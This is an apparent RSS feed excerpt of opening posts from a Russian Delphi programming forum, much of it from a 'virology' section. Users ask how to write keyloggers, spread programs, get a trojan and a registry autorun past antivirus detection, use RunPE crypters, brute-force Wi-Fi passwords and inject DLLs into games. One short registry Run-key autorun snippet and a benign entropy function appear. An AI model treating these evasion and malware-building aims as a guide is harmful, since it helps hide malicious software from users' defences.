			<content:encoded>Всем привет, как это осуществить, в инете искал, нашел, но не появился запрос, может есть программа для этого, например как в программе bat to exe converter, ставишь галку в чекбоксе - Запрос от имени админа и всё. Программа при запуске выдаёт запрос.&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (18.08.2013, 16:46)&lt;br /&gt;---------------------------------------------&lt;br /&gt;Всё решил проблему всем спасибо &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt; Извиняюсь я не туда обратился, не в тот раздел, я сюда недавно пришел</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>MAS</dc:creator>
			<guid>https://delfcode.ru/forum/10-1118-1</guid>
		</item>
		<item>
			<title>Function</title>
			<link>https://delfcode.ru/forum/10-1151-1</link>
			<pubDate>Thu, 29 Dec 2016 09:11:46 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Всем привет!ребят скажите пожалкйста какие функции использовать,для написания кейлоггера?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Born</dc:creator>
			<guid>https://delfcode.ru/forum/10-1151-1</guid>
		</item>
		<item>
			<title>Автозагрузка</title>
			<link>https://delfcode.ru/forum/10-1154-1</link>
			<pubDate>Thu, 29 Dec 2016 09:11:13 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Blood_Hunter&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Какой код писать чтобы добавить программу в автозагрузку через реестр</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Blood_Hunter</dc:creator>
			<guid>https://delfcode.ru/forum/10-1154-1</guid>
		</item>
		<item>
			<title>Как распространить</title>
			<link>https://delfcode.ru/forum/10-925-1</link>
			<pubDate>Thu, 29 Dec 2016 09:10:24 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: pascal&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 9</description>
			<content:encoded>Как распространить программу через интернет</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>pascal</dc:creator>
			<guid>https://delfcode.ru/forum/10-925-1</guid>
		</item>
		<item>
			<title>Конвертировать KOL</title>
			<link>https://delfcode.ru/forum/18-1036-1</link>
			<pubDate>Thu, 29 Dec 2016 09:05:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ms301&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 1</description>
			<content:encoded>Ребят, у кого есть Delphi XE3, если можете, помогите конвертировать библиотеку KOL для XE3. &lt;br /&gt; Скачать можно тут: &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/oWhY&quot; title=&quot;http://kolmck.net/rindex.htm&quot; rel=&quot;nofollow&quot;&gt;http://kolmck.net/rindex.htm&lt;/a&gt; &lt;br /&gt; Последняя версия для XE2. Я сразу сам пробовал но слишком много директив для компилятора. Сам не потяну перевести.</content:encoded>
			<category>Компоненты Delphi</category>
			<dc:creator>ms301</dc:creator>
			<guid>https://delfcode.ru/forum/18-1036-1</guid>
		</item>
		<item>
			<title>Нужен модуль для работы с ZIP или RAR</title>
			<link>https://delfcode.ru/forum/18-1144-1</link>
			<pubDate>Thu, 29 Dec 2016 09:04:33 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: срочно&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 10</description>
			<content:encoded>ребят нужен модуль в котором описаны процедуры для работы с архивами, &lt;u&gt;&lt;b&gt;никаких визуальных компонентов, импортов из вне, и прочего.&lt;/b&gt;&lt;/u&gt; &lt;br /&gt; порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать. &lt;br /&gt; скиньте пожалуйста если не трудно &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt;&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (17.09.2013, 21:06)&lt;br /&gt;---------------------------------------------&lt;br /&gt;допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла</content:encoded>
			<category>Компоненты Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/18-1144-1</guid>
		</item>
		<item>
			<title>PACKAGEINFO и DVCLAL</title>
			<link>https://delfcode.ru/forum/29-1410-1</link>
			<pubDate>Thu, 29 Dec 2016 09:02:09 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: delphi mini&lt;br /&gt;Автор темы: black_catt&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>Осваиваю &lt;a class=&quot;link&quot; href=&quot;https://delfcode.ru/publ/delphi/delphivir/1-1-0-4&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;тему&lt;/a&gt; микроскопического delphi. &lt;br /&gt; Как &lt;b&gt;не создавать&lt;/b&gt; ресурсы PACKAGEINFO и DVCLAL &lt;br /&gt; яснопонятно что их можно удалять ресурсэксплорером...</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>black_catt</dc:creator>
			<guid>https://delfcode.ru/forum/29-1410-1</guid>
		</item>
		<item>
			<title>Как избавится от сигнатурного детекта?</title>
			<link>https://delfcode.ru/forum/10-1379-1</link>
			<pubDate>Thu, 29 Dec 2016 08:58:23 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Есть исходник трояна - палицо всем чем можно, удалил пару функций - детект спал, из 22 тепер 12. Находят как &quot;Gen:Variant.Kazy.247008&quot; &lt;br /&gt; Если можно примеры на дельфи или масме, асме - спасибо.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/10-1379-1</guid>
		</item>
		<item>
			<title>Какой антивирус лучше?</title>
			<link>https://delfcode.ru/forum/13-203-1</link>
			<pubDate>Thu, 29 Dec 2016 08:52:08 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/13&quot;&gt;Программы&lt;/a&gt;&lt;br /&gt;Автор темы: Serge88&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 16</description>
			<content:encoded>Здравствуйте! Скажите пожалуйста какой антивирус лучше? p.s. Модераторы, перенесите пожалуйста в другой раздел если я немного не там создал тему</content:encoded>
			<category>Программы</category>
			<dc:creator>Serge88</dc:creator>
			<guid>https://delfcode.ru/forum/13-203-1</guid>
		</item>
		<item>
			<title>DLL Injector на Delphi</title>
			<link>https://delfcode.ru/forum/29-680-1</link>
			<pubDate>Thu, 29 Dec 2016 08:25:45 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: sk0rpi0n&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 16</description>
			<content:encoded>Я тут одновременно с ассемблером занялся читами для игр, и чужие инжекторы dllок меня не очень устраивают... А как вообще можно сделать свой? Нужно, чтобы он загружал dll в игру во время запуска... Может кто-нибудь что-то подсказать по этому поводу? &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt; Хотя я ещё попытаюсь погуглить, но во многих статьях обычно встречаются пара ошибок, которые не знаешь как решить... И всё к чертям летит... По этому и пишу тут. &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt; &lt;br /&gt;&lt;br /&gt; UPD: хотя я тут ещё исходник нашёл, посмотрю его. Но от советов не откажусь!</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>sk0rpi0n</dc:creator>
			<guid>https://delfcode.ru/forum/29-680-1</guid>
		</item>
		<item>
			<title>RunPE криптер эффективность?</title>
			<link>https://delfcode.ru/forum/29-1424-1</link>
			<pubDate>Thu, 29 Dec 2016 08:19:51 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 5</description>
			<content:encoded>Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.</content:encoded>
			<category>Вопросы по Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/29-1424-1</guid>
		</item>
		<item>
			<title>Пошаговое руководство к исполняемым файлам</title>
			<link>https://delfcode.ru/forum/10-1467-1</link>
			<pubDate>Thu, 29 Dec 2016 08:17:40 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 1</description>
			<content:encoded>&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/14/9719556.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/14/s9719556.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-1467-1</guid>
		</item>
		<item>
			<title>автозапуск незаметно для антивируса?</title>
			<link>https://delfcode.ru/forum/10-1469-1</link>
			<pubDate>Thu, 29 Dec 2016 08:12:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: AligatorBkmz&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;procedure Autorun(Flag:boolean; NameParam, Path:String&amp;#41;;&lt;br /&gt;var Reg:TRegistry;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;if Flag then&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;, false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.WriteString(NameParam, Path&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;,false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.DeleteValue(NameParam&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Как бы запустить прогу автоматом не вызывая недовольств антивируса?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>AligatorBkmz</dc:creator>
			<guid>https://delfcode.ru/forum/10-1469-1</guid>
		</item>
		<item>
			<title>Подбор паролей для wi-fi</title>
			<link>https://delfcode.ru/forum/10-1363-1</link>
			<pubDate>Thu, 29 Dec 2016 08:10:06 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Есть у кого нибудь такой исходник на дельфи? &lt;br /&gt;&lt;br /&gt; Или пример как сделать авторизацию.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/10-1363-1</guid>
		</item>
		<item>
			<title>Реестр</title>
			<link>https://delfcode.ru/forum/10-1477-1</link>
			<pubDate>Thu, 29 Dec 2016 08:09:08 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: alex0097&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>Ребят привет. Подскажите пожалуйста хорошие способы прописи в реестр Win 7, 8.1, 10&lt;br /&gt;не используя класс &lt;b&gt;registry&lt;/b&gt;, а то достала проактивка AB</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>alex0097</dc:creator>
			<guid>https://delfcode.ru/forum/10-1477-1</guid>
		</item>
		<item>
			<title>Расчет энтропии</title>
			<link>https://delfcode.ru/forum/22-810-1</link>
			<pubDate>Thu, 24 Nov 2016 12:30:22 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: anuar_ast&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>В общем я когда-то перерыл и перелопатил весь инет и так и не нашёл толковой информации по этой теме, особенно на Delphi. &lt;img src=&quot;https://delfcode.ru/.s/sm/23/sad.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;sad&quot; /&gt; &lt;br /&gt;И тут я, значит, брожу по гуглу и ищу инфу по одной теме и случайно тыкаю не на ту ссылку. И попадаю на известный блог: &lt;a class=&quot;link&quot; href=&quot;http://u.to/ZhYoAg&quot; title=&quot;http://www.manhunter.ru/assembler/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.manhunter.ru/assembler/&lt;/a&gt; И что я вижу! &quot;Расчет энтропии на Ассемблере&quot; и думаю: &quot;Там, наверное, килотонны кода&quot;. Открываю и охреневаю от компактности кода. Дальше я быстро принимаюсь переписывать его на Delphi. Благо моих скромных познаний асма на это хватило. &lt;img src=&quot;https://delfcode.ru/.s/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt;Вот по этой формуле ведётся расчёт (Хотя я в математике дуб-дубом) &lt;img src=&quot;https://delfcode.ru/.s/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.manhunter.ru/upload/3c/81/3c81d89c9adaf1325c8d698a16864430.gif&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt;&lt;br /&gt;&lt;br /&gt;А вот и сам код:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;function CalcMemoryEntropy(const Memory: Pointer; Size: Cardinal&amp;#41;: Extended;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Prob, Log2: Extended;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I, Sum, Chr: Integer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code: array&amp;#91;0..255] of Byte;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Memory=nil&amp;#41;or(Size=0&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for I:=0 to(Length(Code&amp;#41;-1&amp;#41; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Code&amp;#91;I]:=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;I:=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sum:=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (Cardinal(I&amp;#41;&lt;Size&amp;#41; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Chr:=(Cardinal(PChar(Memory&amp;#41;&amp;#91;I]&amp;#41;&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(Code&amp;#91;Chr]&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(Sum&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(I&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Log2:=Math.Log2(2.0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for I:=0 to(Length(Code&amp;#41;-1&amp;#41; do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Code&amp;#91;I]&gt;0&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Prob:=Code&amp;#91;I]/Sum;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// P(i&amp;#41; = SUM(i&amp;#41;/total&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(Result-(Prob*(Math.Log2(Prob&amp;#41;&amp;#41;/Log2&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;// H(i&amp;#41; = -P(i&amp;#41;*log2(P(i&amp;#41;&amp;#41;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Как видим, код получился достаточно простым.&lt;br /&gt;&lt;br /&gt;Вот расчет для строки:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;function CalcStringEntropy(Str: string&amp;#41;: Extended;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=CalcMemoryEntropy(PChar(Str&amp;#41;, (Length(Str&amp;#41;&amp;#41;&amp;#41;;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;И примеры:&lt;br /&gt;&lt;br /&gt;Без округлений энтропии:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;MessageBox(0, PChar(FloatToStr(CalcStringEntropy(&apos;123456789&apos;&amp;#41;&amp;#41;&amp;#41;, nil, 0&amp;#41;;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;И с округлением до двух чисел после запятой:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;MessageBox(0, PChar(FormatFloat(&apos;#.##&apos;, CalcStringEntropy(&apos;123456789&apos;&amp;#41;&amp;#41;&amp;#41;, nil, 0&amp;#41;;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;В первом случае результат будет: 3.169925000144231, а во втором 3.17.&lt;br /&gt;&lt;br /&gt;Для чего это нужно и кому это надо? Это пригодится, например, для определения пакованности файла (как это делает PeID или DiE) и т.д.&lt;br /&gt;&lt;br /&gt;P.S. Для вычисления энтропии файла достаточно немного изменить код.&lt;br /&gt;P.S.S. Информация по теме: &lt;a class=&quot;link&quot; href=&quot;http://u.to/_xcoAg&quot; title=&quot;http://ru.wikipedia.org/wiki/%C8%ED%F4%EE%F0%EC%E0%F6%E8%EE%ED%ED%E0%FF_%FD%ED%F2%F0%EE%EF%E8%FF&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;img src=&quot;https://delfcode.ru/.s/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;img src=&quot;https://delfcode.ru/.s/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;img src=&quot;https://delfcode.ru/.s/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------&lt;br /&gt;Забыл сказать. Для работы требуется модуль Math.</content:encoded>
			<category>Процедуры и функции Delphi</category>
			<dc:creator>Волк-1024</dc:creator>
